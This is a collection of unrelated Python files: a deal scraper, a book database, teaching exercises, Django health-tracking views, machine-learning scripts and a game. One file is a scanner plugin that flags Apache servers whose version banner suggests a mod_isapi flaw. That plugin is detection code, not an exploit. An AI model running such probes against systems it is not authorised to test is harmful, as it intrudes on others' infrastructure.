None: items_pkl = [] return items_pkl def create_or_adjust_pickle_file(items, site): items_pkl = verify_already_exists(items, site) toaster = ToastNotifier() pkl_file = site+".pkl" client = Client() for i in items: i = r""+i print(i) if i not in items_pkl: print(str(i)) print(items_pkl) toaster.show_toast("Achei para você!", i) client.messages.create(body='Achei para você!\n'+i, from_=from_whatsapp_number, to=to_whatsapp_number) with open(pkl_file, "wb") as f: items_pkl.append(i) pickle.dump(items_pkl, f) for i in items_pkl: if i not in items: items_pkl.remove(i) with open(pkl_file, "wb") as f: pickle.dump(items_pkl, f) def get_interested_item(path, name=r"[notebook]|[ideapad]|[macbook]", site="hardmob"): titles = request_from_site(path, site) interested_items = [] for t in titles: match = re.search(name, t, flags=re.IGNORECASE) if match: interested_items.append(t) create_or_adjust_pickle_file(interested_items, site) def open_pickle_and_write_txt(): all_items = [] pkl_files = glob.glob("*.pkl") for pkl_file in pkl_files: with open(pkl_file, 'rb') as f: items_pkl = pickle.load(f) for i in items_pkl: if i: all_items.append(i) with open("../../../../Desktop/items_procurados.txt", "wb") as f: for item in all_items: f.write((item + "\n").encode()) while(True): get_interested_item(hardmob_filename, name=r"notebook|ideapad|macbook", site="hardmob") get_interested_item(pelando_filename, name=r"notebook|ideapad|macbook", site="pelando") get_interested_item(adrenaline_filename, name=r"notebook|ideapad|macbook", site="adrenaline") open_pickle_and_write_txt() time.sleep(600)
import sqlite3 class Database: def __init__(self, db): self.connect = sqlite3.connect(db) self.cursor = self.connect.cursor() self.cursor.execute("CREATE TABLE IF NOT EXISTS books (id INTEGER PRIMARY KEY, title TEXT, author TEXT, year INTEGER, isbn INTEGER)") self.commit() def view_all(self): self.cursor.execute("SELECT * FROM books") res = self.cursor.fetchall() return res def insert(self, title, author, year, isbn): self.cursor.execute("INSERT INTO books VALUES(NULL, ?, ?, ?, ?)",(title, author, year, isbn)) self.commit() def search(self, title="", author="", year="", isbn=""): self.cursor.execute("SELECT * FROM books WHERE title=? OR author=? OR year=? OR isbn=?", (title, author, year, isbn)) res = self.cursor.fetchall() return res def delete(self, id): self.cursor.execute("DELETE FROM books WHERE id=?", (id,)) self.commit() def update(self, id, title, author, year, isbn): self.cursor.execute("UPDATE books SET title=?, author=?, year=?, isbn=? WHERE id=?", (title, author, year, isbn, id)) self.commit() def commit(self): self.connect.commit() def __del__(self): self.connect.close()
""" Faça um programa que leia o preço de 10 produtos. Ao final escreva o somatório dos preços. """ soma= 0.0 for cont in range (10): preco = float(input('Digite o preço: ')) soma += preco print('O valor total será {:.2f}' .format(soma))
def load_django_models(): try: from django.db.models.loading import get_models for m in get_models(): ip.ex("from %s import %s" % (m.__module__, m.__name__)) except ImportError: print "Could not find Django. Sadface. D:" def main(): load_django_models()
import numpy as np import matplotlib.pyplot as plt from scipy.optimize import curve_fit import pandas as pd import math import os from matplotlib.font_manager import FontManager, FontProperties plt.rcParams['figure.dpi'] = 300 #分辨率 with np.errstate(divide='ignore'): np.float64(1.0) / 0.0 def getChineseFont(): return FontProperties(fname='/System/Library/Fonts/PingFang.ttc') def func(c,mn,csi, a1,a2,a3): #return a*np.power(b,r-1)#sigurd return a1*(-215023*c*c+133.41*c+0.9014)+a2*(32711*mn*mn-117.96*mn+0.9524)+a3*(0.00005*csi*csi-0.0061*csi+1.2579) def cal_rr(y0, y): sstot = 0 ave = np.mean(y) for i in y: sstot = sstot + (i - ave) ** 2 ssreg = 0 for i in y0: ssreg = ssreg + (i - ave) ** 2 ssres = 0 for i in range(len(y0)): ssres = ssres + (y[i] - y0[i]) ** 2 r2 = 1 - ssres / sstot return r2 folder='data/' filenames = os.listdir(folder) df = pd.read_excel(folder + 'data7.0.xlsx') df=df.query('C采收率<1&转炉终点温度!=0&0.0002<转炉终点C<0.0015') c=list(df['转炉终点C']) mn=list(df['转炉终点Mn']) csi=list(df['碳化硅(55%)']) rate=list(df['C采收率']) c = (np.array(c)) mn = (np.array(mn)) csi= (np.array(csi)) rate= (np.array(rate)) a1=7.14731948768581E-5 a2=1.12909534244663 a3=-0.0554334702947239 a4=0.00748929395470595 result=func(c,mn,csi,a1,a2,a3) plt.plot(x, y, 'green', label='data', linestyle=":") plt.plot(x, y_fit, 'black', label='fit') plt.show()
# Generated by Django 2.2.6 on 2019-11-11 20:33 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('find', '0001_initial'), ] operations = [ migrations.RenameField( model_name='query', old_name='fasta', new_name='fasta_source', ), ]
import torch from nets import BaseEncoder if __name__ == '__main__': base_encoder = BaseEncoder() print(base_encoder.backbone) print(base_encoder.projection_head) rand_input = torch.zeros((1, 3, 224, 224)).random_() embeddings = base_encoder(rand_input)
# -*- coding: utf-8 -*- ''' Apache mod_isapi模块悬挂指针漏洞 author: lidq created: 20170119 ''' # 导入url请求公用库 from engine.engine_utils.InjectUrlLib import returnInjectResult from engine.engine_utils.common import * from engine.engine_utils.yd_http import request # 导入日志处理句柄 from engine.logger import scanLogger as logger # 导入默认的header头 from engine.engine_utils.DictData import headerDictDefault def run_domain(http, config): # 重新组织请求的参数 server = config.get('server') if server in ['nginx', 'iis']: return [] scanInfo = {} scanInfo['siteId'] = config['siteId'] scanInfo['ip'] = config['ip'] scanInfo['scheme'] = config['scheme'] scanInfo['domain'] = config['domain'] scanInfo['level'] = config['level'] scanInfo['vulId'] = config['vulId'] headers = headerDictDefault headers['cookie'] = config['cookie'] headers['Host'] = config['domain'] source_ip = config.get('source_ip') responseList = [] try: # 使用单引号测试是否存在SQL报错,有则存在漏洞 payload = "'" if source_ip: url = scanInfo['scheme'] + "://" + source_ip else: url = scanInfo['scheme'] + "://" + scanInfo['domain'] response = request(url=url, headers=headers, method="GET") if response['httpcode'] == 200: server = '' if response['response_headers'].has_key('server'): server = response['response_headers']['server'] if response['response_headers'].has_key('Server'): server = response['response_headers']['Server'] server = server.lower() if server and server.find("apache") != -1: version = server.split(' ')[0].split('/')[1] if version > '2.2.0' and version < '2.3.0' and version != '2.2.15': injectInfo = returnInjectResult(url=url, confirm=1, detail="Apache mod_isapi模块悬挂指针漏洞", response=response) responseList.append(getRecord2(scanInfo, injectInfo)) return responseList except Exception, e: logger.exception(e) return responseList
# Copyright 2019 Quantapix Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================= from ..edit import fudge from .named import Named class Topic(Named): pass class Node(Named): _topic = _narrative = None def __init__(self, topic=None, narrative=None, **kw): super().__init__(**kw) topic = fudge(2) if topic == 'fudge' else topic if topic: self._topic = Topic.create(name=topic) narrative = fudge(2) if narrative == 'fudge' else narrative if narrative: self._narrative = Narrative.create(name=narrative) def __str__(self): t = '({} {}) {}' return t.format(self.sign, self.name, self.value) @property def topic(self): n = self.narrative return self._topic or (n.topic if n else n) @property def narrative(self): return self._narrative @property def value(self): t = self.topic.name if self.topic else '' n = self.narrative.name if self.narrative else '' return '[{}:{}]'.format(t, n) @property def fields(self): fs = super().fields fs['Topic'] = self.topic.name if self.topic else None fs['Narrative'] = self.narrative.name if self.narrative else None return fs class Narrative(Node): sign = ''
# coding=utf-8 from django.http.response import HttpResponse from django.utils import simplejson from django.views.decorators.cache import cache_page from django.views.decorators.csrf import csrf_exempt from utilities import * from health.models import * from health.services.stats.services import HealthActivityDistributionService ONE_MINUTE = 60 ONE_HOUR = ONE_MINUTE*60 #Cronical Conditions def cronical_conditions_ranking_global_mock(request): data = [{"id":10, "name":"Cancer", "types":[{"name":"Lung Cancer", "id":0}, {"name":"Melanoma", "id":1}, {"name":"Mouth Cancer", "id":2}], "percentage":57}, {"id":12, "name":"Respiratory Disease", "types":[], "percentage":23}, {"id":23, "name":"HIV", "types":[], "percentage":5}, {"id":3, "name":"Heart Disease", "types":[], "percentage":5}, {"id":4, "name":"Diabetes", "types":[{"name":"Type 1", "id":0}, {"name":"Type 2", "id":1}, {"name":"GDM", "id":2}], "percentage":10},] return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def cronical_conditions_by_user_mock(request): if request.method == 'POST': id_condition = request.POST["id_condition"] id_type = request.POST["id_type"] if request.method == 'DELETE': id_condition = request.GET["id_condition"] data = [{"id_condition": 4, "name":"Diabetes", "id_type":1, "type_name": "Type 2"}] return HttpResponse(simplejson.dumps(data), mimetype="application/json") def cronical_conditions_list_mock(request): data = [{"id":10, "name":"Cancer", "types":[{"name":"Lung Cancer", "id":0}, {"name":"Melanoma", "id":1}, {"name":"Mouth Cancer", "id":2}], "percentage":57}, {"id":12, "name":"Respiratory Disease", "types":[], "percentage":23}, {"id":23, "name":"HIV", "types":[], "percentage":5}, {"id":3, "name":"Heart Disease", "types":[], "percentage":5}, {"id":4, "name":"Diabetes", "types":[{"name":"Type 1", "id":0}, {"name":"Type 2", "id":1}, {"name":"GDM", "id":2}], "percentage":10},] return HttpResponse(simplejson.dumps(data), mimetype="application/json") def cronical_conditions_ranking_global(request): data, total = get_conditions_rank() return HttpResponse(simplejson.dumps(data[:5]), mimetype="application/json") def cronical_conditions_ranking_global_all(request): data, total = get_conditions_rank() return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def cronical_conditions_by_user(request): if request.method == 'POST': id_condition = int(request.POST["id_condition"]) id_type = request.POST.get("id_type", None) if id_type == "": id_type = None c_name, t_name = get_conditions_name(id_condition, id_type) UserConditions.objects.get_or_create(user=request.user, condition_id=id_condition, type_id=id_type) if request.method == 'DELETE': id_condition = int(request.GET["id_condition"]) condition, created = UserConditions.objects.get_or_create(user=request.user, condition_id=id_condition) condition.delete() data = [] user_conditions = UserConditions.objects.filter(user=request.user) for user_condition in user_conditions: c_name, t_name = get_conditions_name(user_condition.condition_id, user_condition.type_id) if user_condition.type_id: data.append({"id_condition": user_condition.condition_id, "name":c_name, "id_type":user_condition.type_id, "type_name": t_name}) else: data.append({"id_condition": user_condition.condition_id, "name":c_name}) return HttpResponse(simplejson.dumps(data), mimetype="application/json") def cronical_conditions_list(request): data = get_conditions() return HttpResponse(simplejson.dumps(data), mimetype="application/json") #Complaints def complaints_ranking_global_mock(request): data = [{"id":10, "name":"Runny Nose", "percentage":57}, {"id":12, "name":"Fatigue", "percentage":23}, {"id":23, "name":"Headache", "percentage":5}, {"id":3, "name":"Back Pain", "percentage":5}, {"id":4, "name":"Abdominal Pain", "percentage":10},] return HttpResponse(simplejson.dumps(data), mimetype="application/json") def complaints_list_mock(request): data = [{"id":10, "name":"Runny Nose", "percentage":27}, {"id":12, "name":"Fatigue", "percentage":23}, {"id":23, "name":"Headache", "percentage":5}, {"id":3, "name":"Back Pain", "percentage":5}, {"id":4, "name":"Abdominal Pain", "percentage":10}, {"id":40, "name":"Neck Pain", "percentage":10}, {"id":14, "name":"Leg Pain", "percentage":10}] return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def complaints_by_user_mock(request): if request.method == 'POST': id_complaint = request.POST["id_complaint"] if request.method == 'DELETE': id_complaint = request.GET["id_complaint"] data = [{"id":10, "name":"Runny Nose", "percentage":27}, {"id":40, "name":"Neck Pain", "percentage":10}, {"id":4, "name":"Leg Pain", "percentage":10}] return HttpResponse(simplejson.dumps(data), mimetype="application/json") def complaints_ranking_global(request): data, total = get_complaints_rank() return HttpResponse(simplejson.dumps(data[:5]), mimetype="application/json") def complaints_ranking_global_all(request): data, total = get_complaints_rank() return HttpResponse(simplejson.dumps(data), mimetype="application/json") def complaints_list(request): data = get_complaints() return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def complaints_by_user(request): if request.method == 'POST': id_complaint = int(request.POST["id_complaint"]) c_name = get_complaints_name(id_complaint) UserComplaints.objects.get_or_create(user=request.user, complaint_id=id_complaint) if request.method == 'DELETE': id_complaint = int(request.GET["id_complaint"]) complaint, created = UserComplaints.objects.get_or_create(user=request.user, complaint_id=id_complaint) complaint.delete() data = [] user_complaints = UserComplaints.objects.filter(user=request.user) for user_complaint in user_complaints: c_name = get_complaints_name(user_complaint.complaint_id) data.append({"id": user_complaint.complaint_id, "name":c_name, "percentage":get_complaint_percentage(user_complaint.complaint_id)}) return HttpResponse(simplejson.dumps(data), mimetype="application/json") #Blood Type BLOOD_TYPE = {0:{"name": "I don't Know", "id":0, "percentage":35}, 1:{"name": "A+", "id":1, "percentage":20}, 2:{"name": "A-", "id":2, "percentage":5}, 3:{"name": "B+", "id":3, "percentage":10}, 4:{"name": "B-", "id":4, "percentage":5}, 5:{"name": "AB+", "id":5, "percentage":5}, 6:{"name": "AB-", "id":6, "percentage":10}, 7:{"name": "0+", "id":7,"percentage":3}, 8:{"name": "0-", "id":8, "percentage":2}} def bood_type_distribution_global_mock(request): data = [{"name": "I don't Know", "id":0, "percentage":35}, {"name": "A+", "id":1, "percentage":20}, {"name": "A-", "id":2, "percentage":5}, {"name": "B+", "id":3, "percentage":10}, {"name": "B-", "id":4, "percentage":5}, {"name": "AB+", "id":5, "percentage":5}, {"name": "AB-", "id":6, "percentage":10}, {"name": "0+", "id":7,"percentage":3}, {"name": "0-", "id":8, "percentage":2}] return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def bood_type_by_user_mock(request): if request.method == 'POST': id_blood_type = int(request.POST["id_blood_type"]) data = BLOOD_TYPE[id_blood_type] else: data = {"name": "B+", "id":3, "percentage":10} return HttpResponse(simplejson.dumps(data), mimetype="application/json") def bood_type_distribution_global(request): data = global_blood_type() return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def bood_type_by_user(request): if request.method == 'POST': id_blood_type = int(request.POST["id_blood_type"]) try: bt=UserBloodType.objects.get(user=request.user) bt.blood_type_id=id_blood_type bt.save() except: UserBloodType.objects.create(user=request.user, blood_type_id=id_blood_type, metric_id=0, log_id=0) data = global_blood_type_dict()[id_blood_type] else: try: bt=UserBloodType.objects.get(user=request.user) data= global_blood_type_dict()[bt.blood_type_id] except: data = {} return HttpResponse(simplejson.dumps(data), mimetype="application/json") #Sleep def sleep_distribution_global_mock(request): data = {"days":{"sunday":{"hours": 11.2}, "monday":{"hours": 8.5 }, "tuesday":{"hours": 5 }, "wednesday":{"hours": 3.7 }, "thursday":{"hours": 3}, "friday":{"hours": 4.9}, "saturday":{"hours": 3}}, "avg_hours":8.4} return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def sleep_distribution_by_user_mock(request): data = {"days":{"sunday":{"hours": 9.2}, "monday":{"hours": 4.7 }, "tuesday":{"hours": 7 }, "wednesday":{"hours": 2 }, "thursday":{"hours": 6.8}, "friday":{"hours": 9.4}, "saturday":{"hours": 1.5}}, "avg_hours":6.3} return HttpResponse(simplejson.dumps(data), mimetype="application/json") def sleep_distribution_global(request): data = data = HealthActivityDistributionService().get_global_distribution_sleep() return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def sleep_distribution_by_user(request): data = HealthActivityDistributionService().get_user_distribution_sleep(request.user) return HttpResponse(simplejson.dumps(data), mimetype="application/json") #Emotions def emotions_ranking_global_mock(request): data = [{"id":10, "name":"Disappointed", "percentage":57}, {"id":12, "name":"Stressed", "percentage":23}, {"id":23, "name":"Sad", "percentage":5}, {"id":3, "name":"Angry", "percentage":5}, {"id":4, "name":"Euphoric", "percentage":10},] return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def emotions_by_user_mock(request): if request.method == 'POST': id_emotion = request.POST["id_emotion"] if request.method == 'DELETE': id_emotion = request.GET["id_emotion"] data = [{"id_emotion": 10, "name":"Disappointed"}] return HttpResponse(simplejson.dumps(data), mimetype="application/json") def emotions_list_mock(request): data = [{"id":10, "name":"Disappointed", "percentage":57}, {"id":12, "name":"Stressed", "percentage":23}, {"id":23, "name":"Sad", "percentage":5}, {"id":3, "name":"Angry", "percentage":5}, {"id":4, "name":"Euphoric", "percentage":10}, {"id":43, "name":"Happy", "percentage":10},] return HttpResponse(simplejson.dumps(data), mimetype="application/json") def emotions_ranking_global(request): data, t = get_emotions_rank()[:5] return HttpResponse(simplejson.dumps(data), mimetype="application/json") def emotions_ranking_global_all(request): data, t = get_emotions_rank() return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def emotions_by_user(request): if request.method == 'POST': id_emotion = int(request.POST["id_emotion"]) c_name = get_emotions_name(id_emotion) UserEmotions.objects.get_or_create(user=request.user, emotion_id=id_emotion) if request.method == 'DELETE': id_emotion = int(request.GET["id_emotion"]) emotion, created = UserEmotions.objects.get_or_create(user=request.user, emotion_id=id_emotion) emotion.delete() data = [] user_emotions = UserEmotions.objects.filter(user=request.user) for user_emotion in user_emotions: c_name = get_emotions_name(user_emotion.emotion_id) data.append({"id_emotion": user_emotion.emotion_id, "name":c_name}) return HttpResponse(simplejson.dumps(data), mimetype="application/json") def emotions_list(request): data = get_emotions() return HttpResponse(simplejson.dumps(data), mimetype="application/json") #Mood def mood_avg_global_mock(request): data = {"mood_avg": 8} return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def mood_avg_by_user_mock(request): if request.method == 'POST': mood_avg = int(request.POST["mood_avg"]) data = {"mood_avg": 5} return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def mood_panda_activate_mock(request): if request.method == 'POST': panda_email = request.POST["email_mood_panda"] data = {"mood_avg":6} else: data = {"status": "ok", "mood_avg":5} return HttpResponse(simplejson.dumps(data), mimetype="application/json") def mood_avg_global(request): data = global_mood_avg() return HttpResponse(simplejson.dumps(data), mimetype="application/json") @csrf_exempt def mood_avg_by_user(request): if request.method == 'POST': avg_mood = int(request.POST["mood_avg"]) try: avg_user_mood = UserMoodLastWeek.objects.get(user=request.user) avg_user_mood.avg_mood = avg_mood avg_user_mood.save() except: UserMoodLastWeek.objects.create(user=request.user, avg_mood=avg_mood) try: avg = UserMoodLastWeek.objects.get(user=request.user).avg_mood except: avg = 5 data = {"mood_avg": avg} return HttpResponse(simplejson.dumps(data), mimetype="application/json") from social_auth.models import UserSocialAuth @csrf_exempt def mood_panda_activate(request): try: data = HealthActivityDistributionService().get_mood_from_moodpanda(request.user) UserSocialAuth.objects.create(user=request.user, uid=request.user.profile.email, provider="moodpanda") except Exception, e: raise Exception("Invalid mood panda credentials") return HttpResponse(simplejson.dumps({}), mimetype="application/json") @csrf_exempt def mood_panda_deactivate(request): try: obj = UserSocialAuth.objects.get(user=request.user, uid=request.user.profile.email, provider="moodpanda") obj.delete() except Exception, e: raise Exception("Invalid mood panda credentials") return HttpResponse(simplejson.dumps({}), mimetype="application/json")
# -*- coding: utf-8 -*- """ Created on Wed Dec 26 18:36:06 2018 @author: is2js """ from keras.models import Sequential from keras.layers import Dense import numpy as np #랜덤 시드 고정 np.random.seed(7) # 넘파이의 loadtxt로 csv파일을 불러올 수 있다. # 대신 구분자(delimiter)를 ","로 지정 dataset = np.loadtxt('./data/pima-indians-diabetes.csv', delimiter=",") X = dataset[:, 0:8] # 첫번째부터 8번째 칼럼까지 - 0번 ~ 7번 칼럼 y = dataset[:, 8] # 9번째 칼럼만 target model = Sequential() model.add(Dense(12, input_dim = 8, activation='relu')) model.add(Dense(8, activation='relu')) model.add(Dense(1, activation='sigmoid')) model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) #verbose=2 는 막대가 없다. model.fit(X, y, epochs=50, batch_size=10, verbose=2) # 학습모델 평가 = evaluate => 손실율, loss가 어느정도 되는지 알려준다. scores = model.evaluate(X, y) print('\n %s : %.2f%%' %(model.metrics_names[1], scores[1]*100)) predictions = model.predict(X) # 예측값은 0 or 1이 안나오고 확률로 나오기 때문에, # for문을 돌려서, 각 예측값을 반올림 해서 0or1을 만든다. rounded = [round(x[0]) for x in predictions] print(rounded) ## 0과 0.05 사이에 랜덤한 숫자를 정규분포화 시켜서 weight를 초기화한다. ## initializer = 'uniform' model = Sequential() model.add(Dense(12, input_dim = 8,init = 'uniform', activation='relu')) model.add(Dense(8,init = 'uniform', activation='relu')) model.add(Dense(1, activation='sigmoid',init = 'uniform')) model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) model.fit(X, y, epochs=150, batch_size=10, verbose=2) scores = model.evaluate(X, y) print('\n initializer = \'uniform\'사용시 %s : %.2f%%' %(model.metrics_names[1], scores[1]*100))
from app.Controllers.DumpController import index, find, store, update, delete from app.Services.DumpService import DumpService service = DumpService() def route_index(event, context): return index(service, event) def route_find(event, context): return find(service, event) def route_insert(event, context): return store(service, event) def route_update(event, context): return update(service, event) def route_delete(event, context): return delete(service, event)
def bubblesort(alist): isSorted = False count = 0 while(not isSorted): isSorted=True arrlen = len(alist) -1 for i in xrange(arrlen): if alist[i] > alist[i+1]: temp = alist[i] alist[i] = alist[i+1] alist[i+1] = temp isSorted=False count = count +1 arrlen = arrlen -1 print "Array sorted in {} swaps".format(count) print "First elemet: {}".format(alist[0]) print "Last Element: {}".format(alist[len(alist) -1]) n = int(raw_input().strip()) alist = list(map(int, raw_input().strip().split(' '))) bubblesort(alist) #alist=[5,4,1,2,9] #bubblesort(alist) #print alist
def part1(pw): pw = list(str(pw)) if pw != sorted(pw) or len(set(pw)) == len(pw): return False return True def part2(pw): return 2 in [str(pw).count(d) for d in str(pw)] pws = [pw for pw in range(147981, 691423 + 1) if part1(pw)] print(f"PART 1: {len(pws)}") pws_2 = [pw for pw in pws if part2(pw)] print(f"PART 2: {len(pws_2)}")
#Challenge: Write a Python function print_digits that takes an integer number #in the range [0,100), i.e., at least 0, but less than 100. It prints the #message "The tens digit is %, and the ones digit is %.", where the percent #signs should be replaced with the appropriate values. (Hint: Use the #arithmetic operators for integer division // and remainder % to find the two #digits. Note that this function should print the desired message, rather than #returning it as a string. Print digits template --- Print digits solution --- #Print digits (Checker) # Compute and print tens and ones digit of an integer in [0,100). #saved as: http://www.codeskulptor.org/#user44_kBKfnY3Ti6_0.py ################################################### # Digits function # Student should enter function on the next lines. def print_digits(number): #print number if (number >= 0) and (number <= 100): tens = number // 10 #print "tens: ", tens ones = number % 10 #print "ones: ", ones print "The tens digit is " + str(tens) + ", and the ones digit is " + str(ones) + "." return None else: print "out of range" ################################################### # Tests # Student should not change this code. print_digits(42) print_digits(99) print_digits(5) print_digits(105) ################################################### # Expected output # Student should look at the following comments and compare to printed output. #The tens digit is 4, and the ones digit is 2. #The tens digit is 9, and the ones digit is 9. #The tens digit is 0, and the ones digit is 5.
import sys from collections import defaultdict x = [] class Graph: # Constructor def __init__(self): # default dictionary to store graph self.graph = defaultdict(list) # function to add an edge to graph def addEdge(self, u, v): self.graph[u].append(v) # Function to print a BFS of graph def BFS(self, s): # Mark all the vertices as not visited visited = [False] * (len(self.graph)) # Create a queue for BFS queue = [] # Mark the source node as # visited and enqueue it queue.append(s) visited[s] = True while queue: # Dequeue a vertex from # queue and print it s = queue.pop(0) x.append(s) print (s," ") # Get all adjacent vertices of the # dequeued vertex s. If a adjacent # has not been visited, then mark it # visited and enqueue it for i in self.graph[s]: if visited[i] == False: queue.append(i) visited[i] = True g=Graph() fileName = "jungus1.off" # reading from the file file = open(fileName, "r") # check if file is open if file.mode != 'r': print("There is no file in directory with the name: ", fileName) sys.exit() content = file.readlines() if content[0] != "OFF\n": print("File's header is incorrect") sys.exit() geoInfo = content[1].split() vertices = int(geoInfo[0]) faces = int(geoInfo[1]) del content[0:vertices + 2] for line in content: numbers = line.split() numberOfVertices = numbers.pop(0) for i in range(0, int(numberOfVertices)): numbers[i] if i==3: g.addEdge(int(numbers[0]), int(numbers[1])) g.addEdge(int(numbers[1]), int(numbers[2])) g.addEdge(int(numbers[2]), int(numbers[3])) g.addEdge(int(numbers[3]), int(numbers[0])) if i==2: g.addEdge(int(numbers[0]), int(numbers[1])) g.addEdge(int(numbers[1]), int(numbers[2])) g.addEdge(int(numbers[2]), int(numbers[0])) g.BFS(0) if len(x)==int(vertices): print("OFF failo grafas yra jungusis") if len(x)!=int(vertices): print("OFF failo grafas nėra jungusis")
import time from turtle import Screen from player import Player from car_manager import CarManager from scoreboard import Scoreboard # Creates the screen screen = Screen() # Sets the screen size screen.setup(width=600, height=600) # Disable screen delays screen.tracer(0) # Creates the game components player = Player() scoreboard = Scoreboard() car_manager = CarManager() # Makes the turtle goes up when the player press the up arrow key screen.listen() screen.onkey(player.up, "Up") # Creates the control variable of the game game_is_on = True while game_is_on: # Refreshes the screen every 0.1 second time.sleep(0.1) screen.update() # Manages cars appearance and movement car_manager.add_car() car_manager.move() # Detects collision with up wall if player.ycor() > 280: player.reset_position() scoreboard.increment_level() car_manager.increase_speed() # Detects collision with cars for car in car_manager.cars: if abs(player.xcor()-car.xcor()) < 20 and abs(player.ycor()-car.ycor()) < 20: game_is_on = False # Displays game over message scoreboard.game_over() # Sets the screen to exit when the user clicks screen.exitonclick()
# Copyright (c) 2020 KTH Royal Institute of Technology # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import annotations from typing import Collection, Dict, Sequence, Set import numpy as np from .timing import SimTicker from ..logging import Logger from .control import BaseControllerInterface from ..recordable import NamedRecordable, Recordable, Recorder from ...api.plant import Sensor from ...api.util import PhyPropMapping __all__ = ['SensorArray', 'IncompatibleFrequenciesError', 'MissingPropertyError'] class IncompatibleFrequenciesError(Exception): pass class MissingPropertyError(Exception): pass # class NoSensorUpdate(Exception): # pass # TODO: timed callback-based sensors! class SensorArray(Recordable): """ Internal utility class to manage a collection of Sensors attached to a Plant. """ def __init__(self, plant_tick_rate: int, sensors: Collection[Sensor], control: BaseControllerInterface): super(SensorArray, self).__init__() self._plant_tick_rate = plant_tick_rate self._control = control self._log = Logger() self._ticker = SimTicker() self._prop_sensors = dict() self._cycle_triggers = dict() # TODO: add clock? # assign sensors to properties for sensor in sensors: if sensor.measured_property_name in self._prop_sensors: self._log.warn(f'Replacing already registered sensor for ' f'property {sensor.measured_property_name}') elif sensor.sampling_frequency > self._plant_tick_rate: raise IncompatibleFrequenciesError( 'Sensor sampling frequency cannot be higher than plant ' 'update frequency!' ) elif self._plant_tick_rate % sensor.sampling_frequency != 0: raise IncompatibleFrequenciesError( 'Sensor sampling frequency must be a divisor of plant ' 'sampling frequency!' ) self._prop_sensors[sensor.measured_property_name] = sensor # calculate cycle triggers # Example: if a 200 Hz sensor is attached to a plant which # updates at 600 Hz, that means that for each sensor cycle, # 3 plant cycles need to have passed. So, using the plant cycle # count as reference, the sensor needs to sample at cycles: # [0, 3, 6, 8, 12, ..., 600] p_cycles_per_s_cycle = \ self._plant_tick_rate // sensor.sampling_frequency for trigger in range(0, self._plant_tick_rate, p_cycles_per_s_cycle): if trigger not in self._cycle_triggers: self._cycle_triggers[trigger] = [] self._cycle_triggers[trigger].append(sensor) # set up underlying recorder record_fields = ['tick'] opt_record_fields = {} for prop in self._prop_sensors.keys(): record_fields.append(f'{prop}_value') opt_record_fields[f'{prop}_sample'] = np.nan self._records = NamedRecordable( name=self.__class__.__name__, record_fields=record_fields, opt_record_fields=opt_record_fields ) def process_and_send_samples(self, prop_values: PhyPropMapping) -> None: """ Processes measured properties by passing them to the internal collection of sensors and returns the processed values. Parameters ---------- prop_values Dictionary containing mappings from property names to measured values. Returns ------- Dict A dictionary containing mappings from property names to processed sensor values. """ self._ticker.tick() ticks = self._ticker.total_ticks cycle = ticks % self._plant_tick_rate sensor_samples = dict() try: # check which sensors need to be updated this cycle and send them for sensor in self._cycle_triggers[cycle]: try: prop_name = sensor.measured_property_name value = prop_values[prop_name] sensor_samples[prop_name] = sensor.process_sample(value) except KeyError: raise MissingPropertyError( 'Missing expected update for property ' f'{sensor.measured_property_name}!') # finally, if we have anything to send, send it self._control.put_sensor_values(sensor_samples) except KeyError: # no sensors on this cycle # raise NoSensorUpdate() pass finally: # record stuff record = { 'tick': ticks, } for prop in self._prop_sensors.keys(): record[f'{prop}_value'] = prop_values.get(prop, np.nan) record[f'{prop}_sample'] = sensor_samples.get(prop) self._records.push_record(**record) @property def recorders(self) -> Set[Recorder]: return self._records.recorders @property def record_fields(self) -> Sequence[str]: return self._records.record_fields
# Ghiro - Copyright (C) 2013-2016 Ghiro Developers. # This file is part of Ghiro. # See the file 'docs/LICENSE.txt' for license terms. from django.core.management.base import NoArgsCommand from users.models import Activity class Command(NoArgsCommand): """Purge auditing table.""" help = "Purge auditing table" option_list = NoArgsCommand.option_list def handle(self, *args, **options): """Runs command.""" print "Audit log purge" print "WARNING: this will permanently delete all your audit logs!" ans = raw_input("Do you want to continue? [y/n]") if ans.strip().lower() == "y": print "Purging audit log... (it could take several minutes)" Activity.objects.all().delete() print "Done." else: print "Please use only y/n"
